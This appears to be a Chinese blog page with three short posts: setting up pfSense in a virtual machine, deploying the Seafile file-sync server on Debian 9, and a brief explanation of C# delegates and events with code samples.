刚才用OVF模板建立好的pfSense虚拟机,网络适配器需要改成这样的

开机的欢迎界面还是可以的

虽然看到开机界面很开心,但是这个系统启动的速度其实”快“得惊人,我等了可能有十分钟才可以交互,交互界面长这样。先选择1,注册一下网络适配器。

不设置VLAN

然后WAN适配器输入em0,如果不放心,可以比对一下MAC地址。

接着设置LAN适配器为em1

再按个回车,不设置其他的了,然后按y

已经回到了主菜单,等个十秒钟左右就好了,下一步设置IP地址,选择2

选择1,设置WAN,我不用DHCP,所以选择n

设置IP地址为10.10.10.11

子网掩码,根据情况设置,相信都懂

这个是http的Web接口,选择y

然后又到主菜单了,继续设置LAN,和刚才一样的配置方法。

pfSense Web配置

经过刚才的配置,pfSense的Web管理页面已经可以访问,刚才提前建好的Windows虚拟机可以派上用场了。不过在用之前先把网络适配器改成NAT Network。

将windows的本地连接ipv4地址改成192.168.1.2,随意,只要是这个网段下的都可以,不截图了。

浏览器访问http://192.168.1.1 初始用户名密码是:admin/pfsense

设置WAN,我用的是Static方式,也可以是PPPOE等

接下来设置LAN,稍稍看一下就好了,就是之前命令行中的,然后根据提示修改admin密码就完成了设置。

现在的网络界面是这样的,关于IP地址的部分被我挡住了,因为我换掉了IP,多出一个完全不一样的IP地址可能会造成误导吧(vmk0后边的就是10.10.10.10):

然后,见证奇迹的时刻。

参考:

http://boytnt.blog.51cto.com/966121/1292487(感谢这位作者,首次配置的指导,关于pfSense配置的部分大致相同)

https://en.wikipedia.org/wiki/PfSense

http://www.360doc.com/content/16/1125/10/27498460_609365608.shtml(虽然没有参考这篇文章,但是这是个单一IP地址就配置了软路由的大哥,折腾的精神值得学习,原链404了,只好贴个360的)

1

介绍

Seafile官网上的一段介绍:”Seafile 是一款开源的企业云盘,注重可靠性和性能。支持 Windows, Mac, Linux, iOS, Android 平台。支持文件同步或者直接挂载到本地访问。“

seafile代码托管在github上,看了一下最近的commit,貌似很神奇,一片红叉。

环境准备

直接搞了个Debian9 x64位系统测试,为啥要用这么新的呢,因为方便,为啥方便呢,因为内核版本是4.9,不用换内核了(我这么懒),为啥要换内核呢,因为锐速不支持ipv6,我要用bbr啊,为啥要用bbr呢?……拉倒吧,不扯犊子了。

使用最熟悉的MySQL部署,跟着文档先把各种依赖软件安了,表示文档中这个目录设计还是很不错的。

1
2
3
apt-get update
apt-get install mariadb-server
apt-get install python2.7 python-setuptools python-imaging python-ldap python-mysqldb python-memcache python-urllib3

安装过程

文档中写的比较详细,所以这里就简单写一下好了。

安装过程开始要填写一些信息

2

配置好后的样子:

3

按照官网的介绍,不过我改了一下端口:

1
2
./seafile.sh start # 启动 Seafile 服务
./seahub.sh start 38000 # 启动 Seahub 网站 (运行在38000端口上)

客户端是个什么感觉

4

看起来有点网盘的样子,功能很强大。不过http是不太能够让人放心的。

直接用网页访问就是这个效果(明文密码):

5

脱离浏览器的客户端也是一个叼样子(毕竟都是http协议,其实不用测了):

6

安利时间

直接默认http搭建的姿势肯定是不可取的了。不过Seafile支持用apache2或者nginx进行反向代理,采用FastCGI,对外开放https的方式。这种配置方式Seafile的中文文档做的还是很详细的。

7

我用了一个东西比较多的服务器去搞这个事情,为了不和之前的服务冲突,这个https就不测试了。毕竟硬盘剩余空间还有2G,折腾完自己也用着不爽(2333)。

不过我看到了一个很叼的图:

8

OK,这东西还支持分布式,美滋滋。

C# 中的委托和事件是理解这门语言的一道坎,这回记一下。本文能多简略就多简略,如果被想真正学习这方面知识不小心被搜索到,请移步其他大神的博客。

委托

并没有脱离开事件写过委托,但是委托确实是可以不和事件一起用的。委托是针对方法的一种归类方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
public delegate void PlayDelegate(string name);

private void PlayBoy(string name) {
Console.WriteLine("Hey "+ name + ", play with me?");
}

private void PlayGirl(String name) {
Console.WriteLine("Hey "+ name + ", play with me?");
}

public void Play(string name, PlayDelegate playMethod) {
playMethod(name);
}

类似于python中的函数名称作为参数传递,只不过更为标准化。

事件

不想搞得太复杂,直接上干货,经典的例子,烧水。

Heater类:

1
2
3
4
5
6
public delegate void BoilHandler(object sender, BoilEventArgs e); 
public event BoilHandler BoilEvent;
public class BoilEventArgs : EventArgs
{
public int temperature { get; set; }
}

以上的代码一般是在事件发出对象的内部写。使用public暴露事件。

Alarm类

1
2
3
public void MakeAlert(object sender, EventArgs e) {
~~~
}

program

1
heater.BoilEvent += MakeAlert;

实际上如果using system;之后,可以用System命名空间下的EventHandler进行操作,看一下MSDN吧,比较详细。

总结

发送者做好委托和事件的设定,包装好参数,事件定义为public,外部暴露后将接收方法注册到事件上,参数与委托中定义的一致。